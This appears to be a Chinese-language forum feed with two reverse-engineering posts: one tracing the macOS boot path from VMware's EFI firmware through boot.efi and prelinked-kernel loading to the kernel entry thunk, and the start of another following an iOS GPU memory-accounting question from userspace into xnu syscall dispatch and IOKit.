Tips: 由于是基于 EDK2 开发的固件, 所以很多函数即使没有符号, 依然可以根据特征去定位到很多 EDK2 中函数, 所以以下 IDA 中的"注释", 请根据汇编自行对照 EDK2 中函数自行添加.

0x0: EFI 前言

UEFI 与 Legacy BIOS 两种引导方式.

Legacy BIOS 分析起来还是很简单的, BIOS 加电跳到 0x7C00 开始执行 MBR 一段指令, 然后这段 real-mode 下的 MBR 指令会加载磁盘下一阶段的启动代码, 整体来说分起来简单, 但是限制也比较多, 详细不赘述.

这里主要分析 UEFI 相关, EDK2 由 intel 支持的 UEFI 开发 toolkit.

文档请参考 https://edk2-docs.gitbooks.io/edk-ii-build-specification/content/

UEFI 固件的通常启动流程 https://edk2-docs.gitbooks.io/edk-ii-build-specification/2_design_discussion/23_boot_sequence.html#23-boot-sequence, 这里会主要关注 Drive Execution Environment (DXE)Boot Device Selection (BDS) 这两个流程.

DXE: 从 PEI 切换过来, 此时已经初始化完基本支持环境, 并且处于 64-bit 执行环境, 开始加载并初始化 gRT, gBS, 一些关键 Dxe Driver 模块, 以及包含一些关键函数 例如后面要即将要说到的比较核心的 CoreImageLoad, CoreImageStart, CoreDispatcher.

BDS: 在 DxeCore 最后阶段切换过来, 并且不会返回, 在此阶段最后找到平台对应的用于引导 Kernel 的 EFI Driver 比如 macOS 下的 /System/Library/CoreServices/boot.efi, 跳到其 Entry 入口开始执行.

EDK2 中对文件读取提供两个 EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUIDLOAD_FILE_PROTOCOL_GUID Protocol, 默认 EFI 会使用 EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUID 如果失败则使用 LOAD_FILE_PROTOCOL_GUID, 对于文件的具体打开函数实现在 HfsPlusDxe

0x1: 分析定位

分析: 对于如上断点位置, 没有头绪也没有符号, 所以首先确定这是哪个 binary, 所以可以往下翻一翻去找有没有特征字符串, 通过一些字符串去判断.

通过搜索分析发现这是 应该是一个 使用 edk2 开发的 EFI 固件程序, 所以直接到 VMware Fusion 目录里搜一下有没有 rom 相关的固件.

这里的有很多固件(额外提一下, BIOS.440.ROM 是 BIOS 引导使用的固件) , 这里猜想是 EFI64.ROM, 既然是固件先扔到 binwalk 里跑一下.

典型的 EFI 固件结构, 几个 PE 类型的 EFI application, 最后还有一个 LZMA compressed data, 按理说之后应该通过 binwalk 等工具从 offset 开始提取 binary 进行分析. 这里直接使用 UEFITool 进行分析, uefi-firmware-parser 也是一个不错的工具.

这里直接把 DxeCoreBdsDxe, HfsPlusDxe 这几个关键的 EFI Driver 提取出来.

0x2: 分析 DexCore

这里需要先做两个工作

  1. 在 IDA 进行 Program Rebase
  2. 对 DxeCore 进行部分关键函数符号化, 包括但不限于 DxeMain, CoreDispatcher, CoreLoadImage, CoreStartImage

这里先对 DexCore 进行 Rebase

之后对 DxeCore 的 gBS, gRT, DxeMain,CoreDispatcher, CoreLoadImage, CoreStartImage 进行定位符号化, 并确定进入 BdsEntry 的指令地址.

这里具体定位和符号化的过程, 不会进行具体介绍, 大致是先确定 gBS, gRT, 之后利用 log 字符串的特征, 定位 CoreLoadImage, CoreStartImage.

对应的 IDA-GDB 调试器如下

从这里开始断点进入 BdsDxe Driver PE 的 BdsEntry 函数内.

0x3: 分析 BdsDxe

这里需要先做两个工作

  1. 在 IDA 进行 Program Rebase
  2. 对 BdsDxe 进行部分关键函数符号化, 包括但不限于 BdsEntry, BdsBootDeviceSelect, BdsLibBootViaBootOption

通过分析 EDK2 源码, 可以发现, BdsDxe 加载平台特定 boot.efi 的流程为 BdsEntry -> BdsBootDeviceSelect -> BdsLibBootViaBootOption -> CoreLoadImage -> CoreStartImage, 最终转移控制权给 /System/Library/CoreServices/boot.efi

经过手动对上述符号定位和注释, 如下图.

通过对 FileDevicePath 函数进行定位断点可以辅助观察加载地址.

现在可以断点在 CoreStartImage 函数中 Image->EntryPoint (ImageHandle, Image->Info.SystemTable);. 具体指令地址还需读者去判断.

从此开始进入 boot.efi 的分析阶段

0x3: 分析 boot.efi

Tips: boot.efi 是平台特定的 EFI Driver(application), 由 EFI 固件加载, 并且不会再返回. 主要作用是加载 Kernel, 并将控制权移交给 KernelEntry.

0x0: 分析定位

直接从 /System/Library/CoreServices/boot.efi 拿到, 扔到 IDA 里, 可以发现 boot.efi 存在部分调试 log 信息.

0x1: 不正经分析

通过猜想 + 阅读 <*OS Internals>, 判断大致流程为加载 kernel, 并在最后阶段转移控制权给 KernelEntry, 直接在 Entry 入口往下翻就行, 可以很明显有个全局变量来保存加载 kernel 到内存空间的 entry 入口, 直接断点继续跟进调试即可.

0x2: 正经分析

首先需要处理几件事情

  1. 符号化所有的 EFI GUID, 通过 gBS->LocateProtocol gBS->HandleProtocol 可以帮助我们定位很 GUID 对应的数据结构.
  2. 定位并符号化 gRT, gBS,
  3. 定位 EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUIDLOAD_FILE_PROTOCOL_GUID, 这两个 Protocol 将在将在文件读取时使用.

在对 EFI GUID 进行符号化时, 可以使用 ida-efitools 或者 ida-namer, emmmm, 这两个插件都点小问题, 手动修一下就行, 并且

  1. 这里只包含通用的 EFI GUID, 对于 APPLE 相关的 GUID 是缺少的, 可以参考 Clover EFI bootloader 手动添加关于 APPLE 的 GUID, 具体参考 cloverefiboot-code/CloverPkg.dec,
  2. ida-efitools 里的 GUID 少于 ida-namer 所以需要读者手动做一下合并调整.

都是 IDA Python 插件, 请读者自行修复, 这里就不展开了.

对于 gRTgBS 的定位和符号化, 直接跟踪 EFI_STATUS __cdecl ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) 入口函数的两个参数的 DFG 即可.

0x3: Load PrelinkKernel

这里有读者会有疑问为什么不是 /System/Library/Kernels/kernel.develoment 而是 /System/Library/PrelinkedKernels/prelinkedkernel.development, 可是前文明明将 KDK 中的 kernel.development 移动到了 /System/Library/Kernels/ 目录中, 其实是由于 kextcache 的原因. 具体的 tool 请参考 kext_tools.

kextcache 会将 kexts 和 kernel 共同 link 成 PrelinkedKernel, 具体在内核加载时如何解压 PrelinkedKernel 将在将在下文讲解.

尝试获取读取文件的 Protocol 处理函数, 处理 boot-args .

尝试能否打开 Volume, 并读取 kernel 文件, 如果不能则会去检查 EncryptedRoot.plist.wipekey 等配置.

在经过上面过程的 Initialization , 进入关键的加载解析 PrelinkedKernel,

同时这里也可以看到这里使用了 boot-args 里的 kcsuffix 参数. (这里其实并不存在 sprintf_x 这个符号, 只是个人对函数功能判断认为它其实实现的是 spritnf 的功能)

首先这里会根据 PrelinkedKernel 的 filepath, 初始化 kernel_load_info 中的 EFI_FILE_HANDLE.

真正解析 PrelinkedKernel 是在 sub_7E96AF44 函数中.

但是无法直接对这一段伪代码进行分析, 需进行符号还原, 部分还原结果如下.

sub_7E96AF44 前半部分的关键点.

InitLoadKernelMacho 函数中部分关键处理点.

关键的点已经在途中标出. 这里先说下 PrelinkedKernel 的文件结构. 开头是标准的 fat 结构.

struct fat_header {
	uint32_t	magic;		/* FAT_MAGIC */
	uint32_t	nfat_arch;	/* number of structs that follow */
};

struct fat_arch {
	cpu_type_t	cputype;	/* cpu specifier (int) */
	cpu_subtype_t	cpusubtype;	/* machine specifier (int) */
	uint32_t	offset;		/* file offset to this object file */
	uint32_t	size;		/* size of this object file */
	uint32_t	align;		/* alignment as a power of 2 */
};

但是每个 fat_arch 对应的并不是 mach_header 而是 prelinked_kernel_header.

// prelinkVersion value >= 1 means KASLR supported
typedef struct prelinked_kernel_header {
    uint32_t  signature;
    uint32_t  compressType;
    uint32_t  adler32;
    uint32_t  uncompressedSize;
    uint32_t  compressedSize;
    uint32_t  prelinkVersion;
    uint32_t  reserved[10];
    char      platformName[PLATFORM_NAME_LEN]; // unused
    char      rootPath[ROOT_PATH_LEN];         // unused
    char      data[0];
} PrelinkedKernelHeader;

通过对 prelinked_kernel_header 进行 uncompress 后, 才获取到 mach_header.

这里总结下上面的过程.

  1. InitLoadKernelMacho 中通过 EFI_FILE_HANDLE, 读取 PrelinkedKernelfat_header.
  2. 读取 PrelinkedKernelHeader 判断 signaturecompressType
  3. 读取 compressedSize 大小的 CompressedKernelCacheCompressedKernelCacheBuffer
  4. 分配 uncompressedSize 大小 Buffer, 对 CompressedKernelCacheBuffer 进行 uncompress 操作, 解压至 Buffer.
  5. 使用 Adler-32 算法进行完整性校验.

在获取到标准 kernel macho buffer, 同样做一些判断比如 macho 对应的 magic, arch 等, 具体如下图.

下面将对 kernel macho 的 segments, sections 进行遍历, 修正 slide.

LABEL_26:
    v4 = v5;
    goto LABEL_27;
  }
LABEL_38:
  if ( slide_flag & 0x4000 && !(mach_header.flags & 0x200000) )
  {
    slide = 0i64;
    slide_flag &= 0xFFFFFFFFFFFFBFFFui64;
  }
  temp_size = mach_header.sizeofcmds;
  v11 = (char *)AllocateBuffer_(mach_header.sizeofcmds);// v17 == 0x1300
  if ( !v11 )
    sub_7E9674BE((__int64)"Out of memory in LoadKernel\n");
  if ( FileReadToBuffer(kernel_load_info_1, &temp_size, v11) < 0 || temp_size < mach_header.sizeofcmds )
  {
    Free_((__int64)v11);
    goto LABEL_26;
  }
  kernel_info_2 = kernel_info_1;
  cmds_buffer = (__int64)v11;
  ncmds = mach_header.ncmds;
  ncmds_1 = mach_header.ncmds;
  v15 = 0;
  v4 = 0i64;
  if ( (signed int)mach_header.ncmds <= 0 )
    goto LABEL_124;
  v16 = (struct segment_command_64 *)v11;
  while ( 1 )
  {
    cmd = v16->cmd;
    cmdsize = v16->cmdsize;
    if ( cmd > 10 )
    {
      if ( cmd == 0xB )                         // LC_DYSYMTAB 
      {
        if ( slide_flag & 0x4000 && v16[1].cmdsize )
        {
          v37 = qword_7E9E6AE0;
          if ( !qword_7E9E6AE0 || !linkedit_vmaddr )
            goto LABEL_123;
          v38 = (signed int *)(v16[1].cmd + linkedit_vmaddr - (unsigned int)linkedit_fileoff);
          v39 = (unsigned __int64)&v38[2 * v16[1].cmdsize];
          while ( (unsigned __int64)v38 < v39 )
          {
            if ( (v38[1] & 0xFF000000) != 100663296 )
              goto LABEL_123;
            *(_QWORD *)(v37 + *v38) += slide;
            v38 += 2;
          }
        }
        goto LABEL_120;
      }
      if ( cmd != 0x19 )                        // LC_SEGMENT_64   
        goto LABEL_120;
      vmaddr_1 = v16->vmaddr;
      vmaddr_0 = v16->vmaddr;
      vm_size_0 = v16->vmsize;
      vm_size_1 = vm_size_0;
      v59 = v16->fileoff + kernel_macho_header_offset_1;
      filesize_0 = v16->filesize;
      temp_size_1 = v16->filesize;
      v27 = -1i64;
      v28 = 0i64;
      v4 = 0i64;
      if ( !vm_size_0 )
      {
LABEL_112:
        if ( v28 && v4 >= 0 )
        {
          if ( kernel_info_2->unknown_mem_2 - 1 >= v27 )
          {
            kernel_info_2->unknown_mem_2 = v27;
            ncmds_1 = ncmds;
            v42 = v15;
            v43 = (__int64)v16;
            v44 = cmdsize;
            v45 = v28;
            v46 = v27;
            v47 = (void *)sub_7E972E37(v27);
            v27 = v46;
            v28 = v45;
            cmdsize = v44;
            v16 = (struct segment_command_64 *)v43;
            v15 = v42;
            ncmds = ncmds_1;
            kernel_info_2->unknown_mem_0 = v47;
          }
          v48 = kernel_info_2->unknown_mem_3;
          v49 = v27 + v28;
          if ( !v48 || v48 < v49 )
          {
            kernel_info_2->unknown_mem_3 = v49;
            ncmds_1 = ncmds;
            v50 = v15;
            v51 = (__int64)v16;
            v52 = cmdsize;
            v53 = (_EFI_FILE_PROTOCOL *)sub_7E972E37(v49);
            cmdsize = v52;
            v16 = (struct segment_command_64 *)v51;
            v15 = v50;
            ncmds = ncmds_1;
            kernel_info_2->unknown_mem_1 = v53;
          }
        }
        if ( v4 )
          goto LABEL_124;
        goto LABEL_120;
      }
      if ( filesize_0 > vm_size_0 )
      {
        temp_size_1 = vm_size_0;
        filesize_0 = vm_size_0;
      }
      filesize_1 = filesize_0;
      cmdsize_1 = cmdsize;
      v58 = v15;
      if ( slide_flag & 0x4000 )
        vmaddr_0 = slide + vmaddr_1;
      seg_vmaddr = AllocateSegmentMemory(&vm_size_1, &vmaddr_0);
      if ( seg_vmaddr )
      {
        seg_vmaddr_1 = (char *)seg_vmaddr;
        v4 = SetPosition(kernel_load_info_1, v59);
        if ( v4 < 0 )
        {
          sub_7E967449("Set offset failed\n");
        }
        else
        {
          vm_size_2 = 0i64;
          seg_vmaddr_2 = (__int64)seg_vmaddr_1;
          if ( !filesize_1 )
          {
LABEL_74:
            if ( vm_size_1 != vm_size_2 )
              ((void (__fastcall *)(unsigned __int64, unsigned __int64, _QWORD))gBS->SetMem)(
                seg_vmaddr_2 + vm_size_2,
                vm_size_1 - vm_size_2,
                0i64);
            if ( slide_flag & 0x4000 )
            {
              if ( !qword_7E9E6AE0 && v16->initprot & 2 )
                qword_7E9E6AE0 = seg_vmaddr_2;
              if ( !linkedit_vmaddr && !(unsigned int)sub_7E973C4D(v16->segname, "__LINKEDIT") )
              {
                linkedit_vmaddr = seg_vmaddr_2;
                linkedit_fileoff = v16->fileoff;
              }
              if ( !(unsigned int)sub_7E973C4D(v16->segname, "__TEXT") )
              {
                for ( i = (struct segment_command_64 *)getFistSegment(seg_vmaddr_2);
                      ;
                      i = (struct segment_command_64 *)getNextSegment(seg_vmaddr_2, (signed __int64)v40) )
                {
                  v40 = i;
                  if ( !i )
                    break;
                  i->vmaddr += slide;
                  for ( j = (struct section_64 *)sub_7E961537((__int64)i);
                        j;
                        j = (struct section_64 *)sub_7E961553((__int64)v40, (__int64)j) )
                  {
                    j->addr += slide;
                  }
                }
              }
            }
            v27 = vmaddr_0;
            v28 = vm_size_1;
            v4 = 0i64;
            goto LABEL_111;
          }
          v4 = FileReadToBuffer(kernel_load_info_1, &temp_size_1, seg_vmaddr_1);
          vm_size_2 = temp_size_1;
          if ( v4 >= 0 )
          {
            seg_vmaddr_2 = (__int64)seg_vmaddr_1;
            goto LABEL_74;
          }
          sub_7E967449("Read file failed: status %d, buffer size 0x%x\n");
        }
      }
      else
      {
        v4 = -9223372036854775799i64;
      }
      v27 = 0i64;
      v28 = 0i64;
LABEL_111:
      ncmds = ncmds_1;
      v15 = v58;
      cmdsize = cmdsize_1;
      goto LABEL_112;
    }
    if ( cmd == 2 )                             // LC_SYMTAB   
    {
      if ( slide_flag & 0x4000 )
      {
        v34 = *(unsigned int *)&v16->segname[4];
        if ( *(_DWORD *)&v16->segname[4] )
        {
          v35 = slide;
          v36 = (_QWORD *)(linkedit_vmaddr
                         + *(unsigned int *)v16->segname
                         - (unsigned __int64)(unsigned int)linkedit_fileoff
                         + 8);
          do
          {
            if ( *((unsigned __int8 *)v36 - 4) <= 0x1Fu )
              *v36 += v35;
            v36 += 2;
            --v34;
          }
          while ( v34 );
        }
      }
      goto LABEL_120;
    }
    if ( cmd == 5 )
      break;
LABEL_120:
    v16 = (struct segment_command_64 *)((char *)v16 + cmdsize);
    ++v15;
    v4 = 0i64;
    if ( v15 >= ncmds )
      goto LABEL_124;
  }
  if ( *(_DWORD *)v16->segname == 4 )
  {
    v19 = *(_QWORD *)&v16[2].cmd + (slide & (slide_flag << 49 >> 63));
    kernel_info_2->unknown_mem_4 = v19;
    v20 = v15;
    v21 = (__int64)v16;
    v22 = cmdsize;
    v23 = sub_7E972E37(v19);
    cmdsize = v22;
    v16 = (struct segment_command_64 *)v21;
    v15 = v20;
    ncmds = ncmds_1;
    kernel_info_2->LoadAddress = v23;
    goto LABEL_120;
  }
  sub_7E967449("Only 64-bit version of LC_UNIXTHREAD is supported\n");
  v5 = -9223372036854775805i64;

这里对上面的伪代码总结下.

  1. 读取 sizeofcmds 大小的内容至 Buffer
  2. 遍历 load_commandv16(这里使用 IDA 设置不同的 type 比较好分析, 这里对 v16 暂时设置为 segment_command_64 type)
  3. 遍历 LC_DYSYMTAB, LC_SEGMENT_64, LC_SYMTAB , 根据 slide 修复 vmaddr

上面的伪代码循环遍历的退出条件是 cmd == 5, 也就是 LC_UNIXTHREAD.

    if ( cmd == 5 )
      break;

这里关键的地方就是对于 LC_UNIXTHREAD 类型的 load_command 的处理, 在 mach-o/loader.h 并没有给出 struct thread_command 的完整表示, 但这里又涉及到 每一个非常重要的 kernel_info_2->LoadAddress.

struct thread_command {
	uint32_t	cmd;		/* LC_THREAD or  LC_UNIXTHREAD */
	uint32_t	cmdsize;	/* total size of this command */
	/* uint32_t flavor		   flavor of thread state */
	/* uint32_t count		   count of longs in thread state */
	/* struct XXX_thread_state state   thread state for this flavor */
	/* ... */
};
  if ( *(_DWORD *)(v16 + 8) == 4 )
  {
    v19 = *(_QWORD *)(v16 + 0x90) + (slide & (slide_flag << 49 >> 63));
    kernel_info_2->unknown_mem_4 = v19;
    v20 = v15;
    v21 = (struct segment_command_64 *)v16;
    v22 = cmdsize;
    v23 = sub_7E972E37(v19);
    cmdsize = v22;
    v16 = (__int64)v21;
    v15 = v20;
    ncmds = ncmds_1;
    kernel_info_2->LoadAddress = v23;
    goto LABEL_120;
  }
  sub_7E967449("Only 64-bit version of LC_UNIXTHREAD is supported\n");

这里直接去 xnu-3789.70.16 里找一下, 最终在 https://opensource.apple.com/source/xnu/xnu-3789.70.16/bsd/kern/mach_loader.c.auto.html 找到相关处理.

这里判断 entry_state 是否是 x86_THREAD_STATE64, 总结下, 对 LC_UNIXTHREAD 处理过程为 load_unixthread -> load_threadentry -> thread_entrypoint , 所以其实这里的 v16 + 0x90 == v16 + sizeof(struct load_command) + sizeof(__uin64_t) * 16rip.

这里额外附加一张增加了 ARM/ARM64 Kernel Source 的 xnu-4570.71.2

0x4: Kernel LC_UNIXTHREAD

有的读者可能并不理解为什么使用 LC_UNIXTHREAD 作为跳转地址, 这里解释下.

读者可以从 MachOView 里发现, 其实 LC_UNIXTHREADentry_state 里的 rip 对应的是 __HIB, __text.

至于 __HIB,__text 的 vmaddr 则是在编译脚本里指定的.

这里的 hibernate__text 就是下文的即将要从 boot.efi 跳转的入口点.

经过上面很长一段的分析.

终于可以准备开始带着 boot-args 进入 "Kernel" 了.

BootKernelEntry(boot_args, kernel_info.LoadAddress); 此时 rcx = boot_args, rdx = KernelEntry, 从这里开始进入 KernelCallGate.

0x5: Kernel Call Gate

通过 template-code-block, (复制)创建一个 thunk, 也就是一个内核调用门,

现在直接对 BootKernelEntry 进行断点, 进入 KernelCallGateThunk.

thunk_64:000000007EA77000 ; ---------------------------------------------------------------------------
thunk_64:000000007EA77000 ; ===========================================================================
thunk_64:000000007EA77000
thunk_64:000000007EA77000 ; Segment type: Regular
thunk_64:000000007EA77000 thunk_64 segment byte public '' use64
thunk_64:000000007EA77000 assume cs:thunk_64
thunk_64:000000007EA77000 ;org 7EA77000h
thunk_64:000000007EA77000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
thunk_64:000000007EA77000 lea     rax, loc_7EA7703B
thunk_64:000000007EA77007 mov     cs:dword_7EA7705E, eax
thunk_64:000000007EA7700D lea     rax, dword_7EA7706E
thunk_64:000000007EA77014 mov     qword ptr cs:dword_7EA77066, rax
thunk_64:000000007EA7701B lgdt    fword ptr cs:word_7EA77064
thunk_64:000000007EA77022 mov     ax, 10h
thunk_64:000000007EA77026 mov     ds, ax
thunk_64:000000007EA77029 mov     es, ax
thunk_64:000000007EA7702C mov     gs, ax
thunk_64:000000007EA7702F mov     fs, ax
thunk_64:000000007EA77032 lea     rax, dword_7EA7705E
thunk_64:000000007EA77039 jmp     fword ptr [rax]
thunk_64:000000007EA77039 thunk_64 ends
thunk_64:000000007EA77039
thunk_32:7EA7703B ; ---------------------------------------------------------------------------
thunk_32:7EA7703B ; ===========================================================================
thunk_32:7EA7703B
thunk_32:7EA7703B ; Segment type: Regular
thunk_32:7EA7703B thunk_32 segment byte public '' use32
thunk_32:7EA7703B assume cs:thunk_32
thunk_32:7EA7703B ;org 7EA7703Bh
thunk_32:7EA7703B assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
thunk_32:7EA7703B
thunk_32:7EA7703B loc_7EA7703B:                           ; DATA XREF: thunk_64:000000007EA77000↑o
thunk_32:7EA7703B mov     eax, cr0
thunk_32:7EA7703E btr     eax, 1Fh
thunk_32:7EA77042 mov     cr0, eax
thunk_32:7EA77045 mov     ebx, ecx
thunk_32:7EA77047 mov     edi, edx
thunk_32:7EA77049 mov     ecx, 0C0000080h
thunk_32:7EA7704E rdmsr
thunk_32:7EA77050 btr     eax, 8
thunk_32:7EA77054 wrmsr
thunk_32:7EA77056 jmp     short $+2
thunk_32:7EA77058 ; ---------------------------------------------------------------------------
thunk_32:7EA77058
thunk_32:7EA77058 loc_7EA77058:                           ; CODE XREF: thunk_32:7EA77056↑j
thunk_32:7EA77058 mov     eax, ebx
thunk_32:7EA7705A jmp     edi
thunk_32:7EA7705A ; ---------------------------------------------------------------------------

emmmm, 这段 assembly-code 总体上是一段 64-bit Paging Long-mode 切换到 32-bit protected-model 的 thunk code, 稍微详细一点解释.

thunk_64:000000007EA77000 lea     rax, loc_7EA7703B
thunk_64:000000007EA77007 mov     cs:dword_7EA7705E, eax
thunk_64:000000007EA7700D lea     rax, dword_7EA7706E
thunk_64:000000007EA77014 mov     qword ptr cs:dword_7EA77066, rax
thunk_64:000000007EA7701B lgdt    fword ptr cs:word_7EA77064

这段指令主要是把 loc_7EA7703B 的线性地址放到 cs:dword_7EA7705E 方便接下来进行切换 CS Segment selector. 这里 dword_7EA7706E 放的就是即将要重载的 GDT, 然后使用 lgdt 重载 GDT.

此时 GDT CS Segment:

MEMORY:00000000FFFFFF38 dd 0FFFFh
MEMORY:00000000FFFFFF3C dd 0AF9B00h // 对应 G, D/B, L, AVL
对应 CS segment selector: 0x18

重载后的 GDT CS Segment:

MEMORY:000000007EA77076 dd 0FFFFh
MEMORY:000000007EA7707A dd 0CF9E00h // 对应 G, D/B, L, AVL

前后 GDT 的 CS Segment 的 base address 相同都是 0x0.

thunk_64:000000007EA77022 mov     ax, 10h
thunk_64:000000007EA77026 mov     ds, ax
thunk_64:000000007EA77029 mov     es, ax
thunk_64:000000007EA7702C mov     gs, ax
thunk_64:000000007EA7702F mov     fs, ax
thunk_64:000000007EA77032 lea     rax, dword_7EA7705E
thunk_64:000000007EA77039 jmp     fword ptr [rax]

这段指令将更新各个 Segment Registers 为新的 sesgment selector, 最后通过 jmp fword ptr [rax] 读取 cs selector + offset 利用 far jmp 更新 CS Segment selector(这里有一个前提, 重载前后的 GDT 的 base address 相同, 并且dword_7EA7705E 存放的就是 jmp 后的下一条指令 7EA7703B)

从这里开始无法使用 单步 以及 硬断, 因为此时并没有 32-bit IDT. 这也是 VMware 在这里一个蛋疼的地方, 需要依赖于 Guest 的 IDT

可以认为: **如果后面 32-bit 的指令没有做重载 IDT 的操作, 那么都不能做任何中断/异常的事情, 或者只有等它再次切到 64-bit 后才可以下断点. **

所以这里先手动跟一下指令执行.

thunk_32:7EA7703B loc_7EA7703B:                           ; DATA XREF: thunk_64:000000007EA77000↑o
thunk_32:7EA7703B mov     eax, cr0
thunk_32:7EA7703E btr     eax, 1Fh
thunk_32:7EA77042 mov     cr0, eax
thunk_32:7EA77045 mov     ebx, ecx
thunk_32:7EA77047 mov     edi, edx
thunk_32:7EA77049 mov     ecx, 0C0000080h
thunk_32:7EA7704E rdmsr
thunk_32:7EA77050 btr     eax, 8
thunk_32:7EA77054 wrmsr
thunk_32:7EA77056 jmp     short $+2
thunk_32:7EA77058 ; ---------------------------------------------------------------------------
thunk_32:7EA77058
thunk_32:7EA77058 loc_7EA77058:                           ; CODE XREF: thunk_32:7EA77056↑j
thunk_32:7EA77058 mov     eax, ebx
thunk_32:7EA7705A jmp     edi

这段指令主要实现了, 将 CR0.PG 置零从而关闭 Paging Mode, 之后对 IA32_EFER.LME 置零从而关闭 IA-32e ModeLong-Mode, 进入保护模式并跳转到 "Kernel" 加载地址.

0x6: Kernel Finally

此时 edi"Kernel" 的地址, eaxstruct boot_args. 并且这一段指令都不能进行任何断点操作, 所以手动跟着走一下先, 跟到 "Kernel" 地址.

现在拿出来 xnu 里的 __HIB, __text 对照下, 终于走到了 _start(pstart) 函数, 赶紧找找哪里有切换到 64-bit 执行环境的地方, 下个硬断试试.

这里可以发现在经过 SWITCH_TO_64BIT_MODE 后, 终于可以正常的使用的硬断, 这也就是前文说的 "如果后面 32-bit 的指令没有做重载 IDT 的操作, 那么都不能做任何中断/异常的事情, 或者只有等它再次切到 64-bit 后才可以下断点. ".

(这里重启过虚拟机, 因为 slide 不同, 导致将 PrelinkedKernel 解压到不同的地址)

0x4: 总结

到这里, 第一阶段的分析结束, 总的来说穿透了UEFI 固件最终拦截到了 Kernel 入口点, Kernel 之后的具体初始化以及相关的之后会涉及到.

配图有点多, 接下来的一篇文章可能介绍 iOS 下的处理或者 Kernel 初始化.

Refer

0x0: boot.efi & EFI64.ROM

download raw boot.efi

download raw EFI64.ROM

0x1: 参考链接

https://www.triplefault.io/2017/07/setup-vmm-debugging-using-vmwares-gdb_9.html
https://rednaga.io/2017/04/09/remote_kext_debugging/
https://wikileaks.org/ciav7p1/cms/page_14588660.html

Posts: 2

Participants: 2

Read full topic

From Userspace(''Bug'') into iOS Kernelcache & IOKit

$
0
0

@jmpews wrote:

Prologue

之前发在内网分享下(字数超了)

原链接在这里 https://github.com/jmpews/NoteZ/issues/43

这里会分析下如何从 iOS 的 Userspace 分析到 Kernelspace 的 IOkit 的大致思路.

0. 问题简述

在使用 glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, texWidth, texHeight, 0, GL_RGBA, GL_UNSIGNED_BYTE, textureData); 创建 Texture 时, 会导致 task_info 获取到统计信息中 internal 增加, 但是 phys_footprint 并不增加.

1. PreTools

以下工具在分析的过程中起到了非常重要的作用(包括但不限于).

0. IDA
# 辅助分析 iOS KernelCache
1. https://github.com/bazad/ida_kernelcache
# 辅助分析 iOS KernelCache
2. Joker http://newosxbook.com/tools/joker.html
# IOKit Driver Class Dumper
3. iometa https://github.com/Siguza/iometa
# IOKit Runtime Dump
4. IOKitUser-1445.71.1/iodisplayregistry.c
# KernelCache 解压
5. lzssdec http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
# Runtime DBI(插桩) 分析
6. HookZz http://github.com/jmpews/HookZz

2. Refer Source

以下源码在分析的过程中起到了非常重要的作用(包括但不限于).

# AppleOpenSource
xnu-4570.71.2
IOKitUser-1445.71.1
IOKitTools-108
IOHIDFamily-1035.70.7
IOGraphics-519.20
# GithubSource
# macOS Display Driver with VMware
vmsvga2
# macOS Simple Display Driver
https://github.com/tSoniq/displayx

3. Analysis Process

在分析的过程, 每一个阶段, 都存在问题的确定/转化.

0. 确定 iOS Userspace 下导致 `internal` 增加, 但是 `phys_footprint` 没有增加的函数.
1. 逆向分析对应的 iOS Kernel `AGXAcceleratorG10P_B0` 内核驱动
2. 根据 `AGXAcceleratorG10P_B0` 驱动中使用 `IOBufferMemoryDescriptor` IOKit 方法. 转化为 macOS 对应的调用
3. 编写 macOS 测试驱动, 复现问题. 
4. 对 XNU 进行内核调试, 确定最终发生位置.

前置知识

本文缺少 ARM64 架构下的异常/中断机制的详细分析, 将在后续 <iOS Kernel Debugger> 详细补充.

  1. xnu 系统调用机制
  2. Mach 消息机制, 以及 MIG
  3. IOKit 机制和内存布局
  4. iOS Kernelcache 解密分析

1. xnu 系统调用机制

本质根据 IDT 做 handler 分发, 不关心的可以跳过此部分.

1.1. Legacy 传统的 int 0x80 (only for 32-bit)

xnu-4570.71.2/osfmk/x86_64/idt_table.h 可以看到.

TRAP(0x00,idt64_zero_div)
TRAP_IST1(0x01,idt64_debug)
TRAP_IST2(0x02,idt64_nmi)
USER_TRAP(0x03,idt64_int3)
USER_TRAP(0x04,idt64_into)
USER_TRAP(0x05,idt64_bounds)
TRAP(0x06,idt64_invop)
TRAP(0x07,idt64_nofpu)
TRAP_IST1(0x08,idt64_double_fault)
TRAP(0x09,idt64_fpu_over)
TRAP_ERR(0x0a,idt64_inv_tss)
TRAP_IST1(0x0b,idt64_segnp)

对于系统调用, Mach 调用.

USER_TRAP_SPC(0x80,idt64_unix_scall)
USER_TRAP_SPC(0x81,idt64_mach_scall)
USER_TRAP_SPC(0x82,idt64_mdep_scall)

对应的分发处理函数.

/*
 * Legacy interrupt gate System call handlers.
 * These are entered via a syscall interrupt. The system call number in %rax
 * is saved to the error code slot in the stack frame. We then branch to the
 * common state saving code.
 */

#ifndef UNIX_INT
#error NO UNIX INT!!!
#endif
Entry(idt64_unix_scall)
    pushq   %rax            /* save system call number */
    pushq   $(HNDL_UNIX_SCALL)
    pushq   $(UNIX_INT)
    jmp L_dispatch
    
Entry(idt64_mach_scall)
    pushq   %rax            /* save system call number */
    pushq   $(HNDL_MACH_SCALL)
    pushq   $(MACH_INT)
    jmp L_dispatch
    
Entry(idt64_mdep_scall)
    pushq   %rax            /* save system call number */
    pushq   $(HNDL_MDEP_SCALL)
    pushq   $(MACHDEP_INT)
    jmp L_dispatch

此时的 x86_64_intr_stack_frame 状态为 trapfn == %rax. (Cpu在处理中断会存在部分寄存器自动压栈, 具体参考 6.4.1 Call and Return Operation for Interrupt or Exception Handling Procedures)

struct x86_64_intr_stack_frame {
    uint16_t    trapno;
    uint16_t    cpu;
    uint32_t    _pad;
    uint64_t    trapfn;
    uint64_t    err;
    uint64_t    rip;
    uint64_t    cs;
    uint64_t    rflags;
    uint64_t    rsp;
    uint64_t    ss;
};
typedef struct x86_64_intr_stack_frame x86_64_intr_stack_frame_t;

int 0x80 后的处理流程

L_dispatch
-> *idt64_hndl_table0
-> ks_dispatch
-> ks_dispatch_user
-> L_dispatch_U32
-> L_common_dispatch
